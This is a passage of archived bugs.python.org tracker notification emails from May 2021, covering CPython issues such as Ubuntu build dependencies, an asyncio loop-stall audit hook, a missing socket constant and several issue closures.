breaking the tests. We should have ignored those failures, but didn't. Once we realized the problem, less that 2 weeks before the beta, we had the test steal sys.stdout back for each test and moved forward. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 04:58:07 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 08:58:07 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620464287.28.0.296559417893.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: I know the deb-src problem and I've added that a long time ago. The problem is that I don't know which repository has the unstable source. I'm on Ubuntu Focal Fossa. I successfully can fetch sources but they are not up-to-date. I can't figure out the repository and the component. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 05:09:32 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 09:09:32 +0000 Subject: [issue31904] Python should support VxWorks RTOS In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za> Message-ID: <1620464972.47.0.204297814721.issue31904@roundup.psfhosted.org> miss-islington added the comment: New changeset 6e7fe1901631dc730abc02d1f546a99fd6b6fe83 by Miss Islington (bot) in branch '3.10': [3.10] bpo-31904: Correct error string in test_file_not_exists() for VxWorks (GH-25965) (GH-25983) https://github.com/python/cpython/commit/6e7fe1901631dc730abc02d1f546a99fd6b6fe83 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 05:30:37 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Sat, 08 May 2021 09:30:37 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620466237.83.0.595896376064.issue44045@roundup.psfhosted.org> Change by J?rgen Gmach : ---------- keywords: +patch pull_requests: +24637 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25985 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 05:31:19 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Sat, 08 May 2021 09:31:19 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620466279.27.0.534773015619.issue44045@roundup.psfhosted.org> J?rgen Gmach added the comment: Thank you for the feedback. I created a PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 05:38:37 2021 From: report at bugs.python.org (Rory Yorke) Date: Sat, 08 May 2021 09:38:37 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1620466717.36.0.274889831571.issue44072@roundup.psfhosted.org> Change by Rory Yorke : ---------- keywords: +patch pull_requests: +24638 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25986 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 06:53:28 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 08 May 2021 10:53:28 +0000 Subject: [issue43124] [security] smtplib multiple CRLF injection In-Reply-To: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> Message-ID: <1620471208.89.0.868069133245.issue43124@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24639 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25987 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 06:59:36 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 10:59:36 +0000 Subject: [issue25716] typeobject.c call_method & call_maybe can leak references on 'func' In-Reply-To: <1448318679.04.0.579867693106.issue25716@psf.upfronthosting.co.za> Message-ID: <1620471576.83.0.943402523344.issue25716@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 07:00:12 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 11:00:12 +0000 Subject: [issue12638] urllib.URLopener prematurely deletes files on cleanup In-Reply-To: <1311608098.49.0.512505187556.issue12638@psf.upfronthosting.co.za> Message-ID: <1620471612.73.0.0496387411112.issue12638@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 07:00:20 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 11:00:20 +0000 Subject: [issue12638] urllib.URLopener prematurely deletes files on cleanup In-Reply-To: <1311608098.49.0.512505187556.issue12638@psf.upfronthosting.co.za> Message-ID: <1620471620.64.0.342222591194.issue12638@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 07:20:17 2021 From: report at bugs.python.org (Alex Willmer) Date: Sat, 08 May 2021 11:20:17 +0000 Subject: [issue31904] Python should support VxWorks RTOS In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za> Message-ID: <1620472817.17.0.430755793411.issue31904@roundup.psfhosted.org> Change by Alex Willmer : ---------- nosy: -Alex.Willmer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 07:49:47 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 11:49:47 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620474587.89.0.0187851951201.issue42725@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +24640 pull_request: https://github.com/python/cpython/pull/25988 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:02:52 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 12:02:52 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620475372.06.0.0190487750309.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: It's also pretty problematic that Python depends on the system header code rather than fetched source code like we do in OS X or Windows. I would like to suggest that we fetch source code and then use that instead of system header files. This wouldn't be a problem to implement since OS X and Linux behave in the same way because both share the same UNIX kernel and it wouldn't break any code out there. In fact it would improve the code. This would reduce all the setup we have to do beforehand on Linux especially Debian distributions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:10:56 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 08 May 2021 12:10:56 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620475856.38.0.0231850055002.issue16866@roundup.psfhosted.org> Senthil Kumaran added the comment: In 3.10 - https://github.com/python/cpython/commit/a2c72d52dddefbfbaa0745b0af54330fad03b29e 3.9 - https://github.com/python/cpython/commit/a25c46bd7dd47a2f95b32d17ee2f66de214892c6 ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:19:46 2021 From: report at bugs.python.org (Tom Forbes) Date: Sat, 08 May 2021 12:19:46 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls Message-ID: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> New submission from Tom Forbes : Detecting and monitoring loop stalls in a production asyncio application is more difficult than it could be. Firstly you must enable debug mode for the entire loop then you need to look for warnings outputted via the asyncio logger. This makes it hard to send loop stalls to monitoring systems via something like statsd. Ideally asyncio callbacks would always be timed and an auditevent always triggered if it passes a particular threshold. If debug mode is enabled then a warning is logged. ---------- components: asyncio messages: 393251 nosy: asvetlov, orf, yselivanov priority: normal severity: normal status: open title: Add a PEP578 audit hook for Asyncio loop stalls type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:20:51 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 12:20:51 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620476451.52.0.563061831795.issue42725@roundup.psfhosted.org> miss-islington added the comment: New changeset 90d584a2ab91cc0f30e90a0a99f8c1447eb51302 by Miss Islington (bot) in branch '3.10': bpo-42725: mention the changes on what's new (GH-25974) https://github.com/python/cpython/commit/90d584a2ab91cc0f30e90a0a99f8c1447eb51302 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:23:54 2021 From: report at bugs.python.org (So Ukiyama) Date: Sat, 08 May 2021 12:23:54 +0000 Subject: [issue24147] Dialect class defaults are not documented. In-Reply-To: <1431133519.25.0.806037285537.issue24147@psf.upfronthosting.co.za> Message-ID: <1620476634.85.0.606973847403.issue24147@roundup.psfhosted.org> Change by So Ukiyama : ---------- keywords: +patch nosy: +uniocto nosy_count: 7.0 -> 8.0 pull_requests: +24641 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25989 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:25:11 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 08 May 2021 12:25:11 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls In-Reply-To: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> Message-ID: <1620476711.3.0.0193633249543.issue44075@roundup.psfhosted.org> Christian Heimes added the comment: Are you proposing to use PEP 578 for monitoring the event loop? ---------- nosy: +christian.heimes, steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:32:59 2021 From: report at bugs.python.org (So Ukiyama) Date: Sat, 08 May 2021 12:32:59 +0000 Subject: [issue24147] Dialect class defaults are not documented. In-Reply-To: <1431133519.25.0.806037285537.issue24147@psf.upfronthosting.co.za> Message-ID: <1620477179.25.0.0573759841205.issue24147@roundup.psfhosted.org> So Ukiyama added the comment: I created a PR which apply Brandon Milam's patch. So If I have offended you with my rudeness, I hope you will forgive me for taking this down. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:33:20 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sat, 08 May 2021 12:33:20 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620477200.43.0.0528110810389.issue44022@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- Removed message: https://bugs.python.org/msg393236 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:33:37 2021 From: report at bugs.python.org (Tom Forbes) Date: Sat, 08 May 2021 12:33:37 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls In-Reply-To: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> Message-ID: <1620477217.51.0.113429359624.issue44075@roundup.psfhosted.org> Tom Forbes added the comment: I don't see why we shouldn't use PEP 578 for this - the events provide rich monitoring information about what a Python process is "doing" with an easy, central way to register callbacks to receive these events and shovel them off to a monitoring solution. Is there that much of a difference between monitoring the number of files, sockets, emails or even web browsers opened and the number of times an asyncio application has stalled? The alternative would be to make the loop stalling some kind of hookable event, which just seems like reinventing `sys.audit()`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 08:46:47 2021 From: report at bugs.python.org (Tom Forbes) Date: Sat, 08 May 2021 12:46:47 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls In-Reply-To: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> Message-ID: <1620478007.13.0.627498617156.issue44075@roundup.psfhosted.org> Change by Tom Forbes : ---------- keywords: +patch pull_requests: +24642 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25990 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 09:03:31 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 08 May 2021 13:03:31 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620479011.15.0.450377654018.issue42725@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 09:04:44 2021 From: report at bugs.python.org (Mohamed) Date: Sat, 08 May 2021 13:04:44 +0000 Subject: [issue44076] issue with list in Python 3.8.5 Message-ID: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> New submission from Mohamed : I am using Python under Windows 10 on Dell for a log time. All of my applications on Python were working fine. Suddenly from the beginning of May, My apps do not update a "list" data after a new insert, even with small data volume. As well as choosing old data from a list, a message appears stating that the identifier is out of range, and is working properly after restart. Programs that do not use a list work fine. After investigation, it appears memory issues. How I solve the issue? ---------- components: Windows messages: 393256 nosy: becky07, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: issue with list in Python 3.8.5 type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 09:06:35 2021 From: report at bugs.python.org (Mohamed) Date: Sat, 08 May 2021 13:06:35 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620479195.26.0.543838177715.issue44076@roundup.psfhosted.org> Mohamed added the comment: I'm using tkinter 8.6 with Python ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 09:43:21 2021 From: report at bugs.python.org (Leonardo Lai) Date: Sat, 08 May 2021 13:43:21 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620481401.73.0.791002472894.issue44074@roundup.psfhosted.org> Change by Leonardo Lai : ---------- keywords: +patch nosy: +leoll2 nosy_count: 1.0 -> 2.0 pull_requests: +24644 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 09:49:58 2021 From: report at bugs.python.org (Leonardo Lai) Date: Sat, 08 May 2021 13:49:58 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620481798.13.0.439852632472.issue44074@roundup.psfhosted.org> Leonardo Lai added the comment: I've just created a patch for this. Now it can automatically detect the default branch name (`main`, `master` or whatever) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 10:37:06 2021 From: report at bugs.python.org (Julien Palard) Date: Sat, 08 May 2021 14:37:06 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1620484626.1.0.777969059329.issue44006@roundup.psfhosted.org> Julien Palard added the comment: I `rm -fr 3.10` on the doc server yesterday, so it started 3.10 from scratch today and the file were properly removed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 10:46:19 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 14:46:19 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620485179.9.0.549937687881.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: Can you show an example code where this occurs? Which Python 3.8 subversion are you using? How do you conclude these are memory issues? ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 10:57:49 2021 From: report at bugs.python.org (Georg Sauthoff) Date: Sat, 08 May 2021 14:57:49 +0000 Subject: [issue44077] IP_RECVTOS option is missing from socket module Message-ID: <1620485869.86.0.948839095965.issue44077@roundup.psfhosted.org> New submission from Georg Sauthoff : Currently, the socket module doesn't provide the IP_RECVTOS constant. This constant is needed for receiving the TOS byte (or the DSCP bits) via ancillary data when calling recvmsg() or recvmsg_into(). That means it would be used in a setsockopt() call like this: s.setsockopt(socket.IPPROTO_IP, socket.IP_RECVTOS, 1) This socket option is available on Linux and perhaps other operating systems, as well. See also https://manpath.be/f33/7/ip#L467 ---------- components: Library (Lib) messages: 393261 nosy: gms priority: normal severity: normal status: open title: IP_RECVTOS option is missing from socket module type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 11:23:49 2021 From: report at bugs.python.org (Roundup Robot) Date: Sat, 08 May 2021 15:23:49 +0000 Subject: [issue44077] IP_RECVTOS option is missing from socket module In-Reply-To: <1620485869.86.0.948839095965.issue44077@roundup.psfhosted.org> Message-ID: <1620487429.11.0.575633855001.issue44077@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +24645 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25992 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 11:43:11 2021 From: report at bugs.python.org (Mark Hammond) Date: Sat, 08 May 2021 15:43:11 +0000 Subject: [issue44078] Output relative path when using PurePath.relative_to Message-ID: <1620488591.33.0.62171873486.issue44078@roundup.psfhosted.org> New submission from Mark Hammond : Comparing two paths, PurePath.relative_to fails with ValueError if the second path is not in the first. >>> Path('/a/b').relative_to('/a/b/c') Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.9/pathlib.py", line 928, in relative_to raise ValueError("{!r} is not in the subpath of {!r}" ValueError: '/a/b' is not in the subpath of '/a/b/c' OR one path is relative and the other is absolute. Please extend PurePath.relative_to so it is able to output a relative path in form of '..' instead of an error. Currently, the only way to do this is to use relpath from os.path but it would be very useful if Path was able to output the relative path. ---------- components: Library (Lib) messages: 393262 nosy: mhammondr priority: normal severity: normal status: open title: Output relative path when using PurePath.relative_to type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 11:58:00 2021 From: report at bugs.python.org (Steve Dower) Date: Sat, 08 May 2021 15:58:00 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls In-Reply-To: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> Message-ID: <1620489480.72.0.751639027947.issue44075@roundup.psfhosted.org> Steve Dower added the comment: Fundamentally I don't have an issue with the audit hook. My only concern would be if there's anything that an application may do to _respond_ to a stall (e.g. is this valuable for applying backpressure? etc.) If it's purely diagnostic, and there's nothing you'd do in production when it happens, then an audit hook is perfect. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 11:59:03 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 15:59:03 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620489543.37.0.0345458228189.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: This problem doesn't exist in RPM Linux. Therefore creating a new DebianBuild directory (like there is PCBuild, Mac) just for Debian Linux. (I haven't tested RPM Linux and can't access any right now therefore I don't know if the problem exists there or not. But I'm gonna guess not for now.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:00:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 16:00:48 +0000 Subject: [issue3014] file_dealloc() assumes errno is set when EOF is returned In-Reply-To: <1212184451.2.0.27521352304.issue3014@psf.upfronthosting.co.za> Message-ID: <1620489648.8.0.120178521602.issue3014@roundup.psfhosted.org> Irit Katriel added the comment: I believe this is out of date - there is no longer file_dealloc or anything similar to the code in the report in fileobject.c ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:01:09 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 08 May 2021 16:01:09 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620489669.79.0.488526245577.issue44076@roundup.psfhosted.org> Steven D'Aprano added the comment: I doubt it is a memory issue. Tell us what investigation you did that lead you to that conclusion. Python code doesn't normally just stop working for no reason. I expect that you changed your code in some way and introduced a bug. This is not a help desk for debugging your own code. If you need help with that, I recommend Reddit's r/learnpython, StackOverflow, or the Python-List mailing list. If you still think that this is a bug in Python, not in your own code, please show us the smallest program you can that demonstrates the problem: - what you did - the result you expected - the result that you actually got For example, try this: L = [1, 2, 3] L.insert(0, 999) print(L) # you should get [999, 1, 2, 3] If you get that result, your Python is working fine and the bug is in your code. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:11:02 2021 From: report at bugs.python.org (Tom Forbes) Date: Sat, 08 May 2021 16:11:02 +0000 Subject: [issue44075] Add a PEP578 audit hook for Asyncio loop stalls In-Reply-To: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org> Message-ID: <1620490262.66.0.48718160646.issue44075@roundup.psfhosted.org> Tom Forbes added the comment: Actually reacting to a stall would require something more and probably should be done at some point. But this is purely about monitoring - in our use case we'd send a metric via statsd that would be used to correlate stalls against other service level metrics. This seems pretty critical when running a large number of asyncio applications in production because you can only currently _infer_ that a stall is happening, and it's hard to trace the cause across service boundaries. An event hook that was sent the loop and handle would be ideal for this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:13:00 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 May 2021 16:13:00 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620490380.65.0.00554330466081.issue32924@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +pablogsal nosy_count: 4.0 -> 5.0 pull_requests: +24647 pull_request: https://github.com/python/cpython/pull/25994 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:15:04 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 May 2021 16:15:04 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620490504.39.0.679831081398.issue32924@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 03acfc50ac0be8b49847b94dee93e21b1efa0e76 by Pablo Galindo in branch '3.10': bpo-32924: Fix the Show Source url in the documentation (GH-25994) https://github.com/python/cpython/commit/03acfc50ac0be8b49847b94dee93e21b1efa0e76 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:15:20 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 16:15:20 +0000 Subject: [issue32924] Python 3.7 docs in docs.p.o points to GitHub's master branch In-Reply-To: <1519405058.43.0.467229070634.issue32924@psf.upfronthosting.co.za> Message-ID: <1620490520.95.0.295819809473.issue32924@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24648 pull_request: https://github.com/python/cpython/pull/25995 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 12:20:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 May 2021 16:20:11 +0000 Subject: [issue43149] Misleading error message for except with missing parens (3.10.a5) In-Reply-To: <1612652048.28.0.775062089825.issue43149@roundup.psfhosted.org> Message-ID: <1620490811.69.0.839042827158.issue43149@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24649 pull_request: https://github.com/python/cpython/pull/25996 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 13:19:46 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 17:19:46 +0000 Subject: [issue1606233] readline on popen3 file returns empty string before end Message-ID: <1620494386.09.0.684536667382.issue1606233@roundup.psfhosted.org> Irit Katriel added the comment: Closing as there is little chance we can do anything about a 15-year old issue with no reproducer (chances are it was already fixed by now if it was actually a bug). ---------- nosy: +iritkatriel resolution: -> rejected stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 13:39:15 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 17:39:15 +0000 Subject: [issue22953] Windows installer configures system PATH also when installing only for current user In-Reply-To: <1417045934.78.0.497938457178.issue22953@psf.upfronthosting.co.za> Message-ID: <1620495555.43.0.776371035539.issue22953@roundup.psfhosted.org> Irit Katriel added the comment: Irrelevant since version 3.5. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 13:46:14 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 May 2021 17:46:14 +0000 Subject: [issue32725] Instance of _multiprocessing.PipeConnection-subtype crash on deletion In-Reply-To: <1517307235.22.0.467229070634.issue32725@psf.upfronthosting.co.za> Message-ID: <1620495974.32.0.512171383959.issue32725@roundup.psfhosted.org> Irit Katriel added the comment: 2.7 is past EOL. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:20:33 2021 From: report at bugs.python.org (Brett Cannon) Date: Sat, 08 May 2021 18:20:33 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620498033.29.0.277949467869.issue44070@roundup.psfhosted.org> Change by Brett Cannon : ---------- nosy: -brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:21:01 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 18:21:01 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498061.03.0.0522016214605.issue43992@roundup.psfhosted.org> Erlend E. Aasland added the comment: Here's a trick I often recommend: Do as the CI; use the posix-deps-apt.sh script! You'll find it in your CPython git repo: $ cd cpython.git # change working dir to the CPython git repo $ cat .github/workflows/posix-deps-apt.sh #!/bin/sh apt-get update apt-get -yq install \ build-essential \ ccache \ gdb \ lcov \ libbz2-dev \ libffi-dev \ libgdbm-dev \ liblzma-dev \ libncurses5-dev \ libreadline6-dev \ libsqlite3-dev \ libssl-dev \ lzma \ lzma-dev \ tk-dev \ uuid-dev \ xvfb \ zlib1g-dev Should work well on all Debian based Linux distros (that includes Ubuntu). ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:22:58 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 08 May 2021 18:22:58 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498178.6.0.892224728711.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: I figured out the commands. The problem is they are not upgraded. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:24:49 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 18:24:49 +0000 Subject: [issue43149] Misleading error message for except with missing parens (3.10.a5) In-Reply-To: <1612652048.28.0.775062089825.issue43149@roundup.psfhosted.org> Message-ID: <1620498289.97.0.46985520903.issue43149@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24650 pull_request: https://github.com/python/cpython/pull/25997 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:29:55 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 08 May 2021 18:29:55 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498595.21.0.547396786304.issue43992@roundup.psfhosted.org> Ned Deily added the comment: This isn't a bug with Python, it is a development environment issue. The discussion would be more appropriate in help forums, like on discuss.python.org or Stackoverflow. And, if there si some deficiency in the devguide, there is a tracker for issues with it: https://github.com/python/devguide/issues ---------- nosy: +ned.deily resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 14:30:55 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 08 May 2021 18:30:55 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1620498655.36.0.917551574583.issue43992@roundup.psfhosted.org> Christian Heimes added the comment: I have been following this issue for a while. I feel it's getting increasingly offtopic for Python bug tracker. Any concerns or problems with your distro are better suited for the help and discussion forums of your distribution. Ah, Ned just closed the issue while I was typing. ---------- nosy: +christian.heimes resolution: not a bug -> stage: resolved -> status: 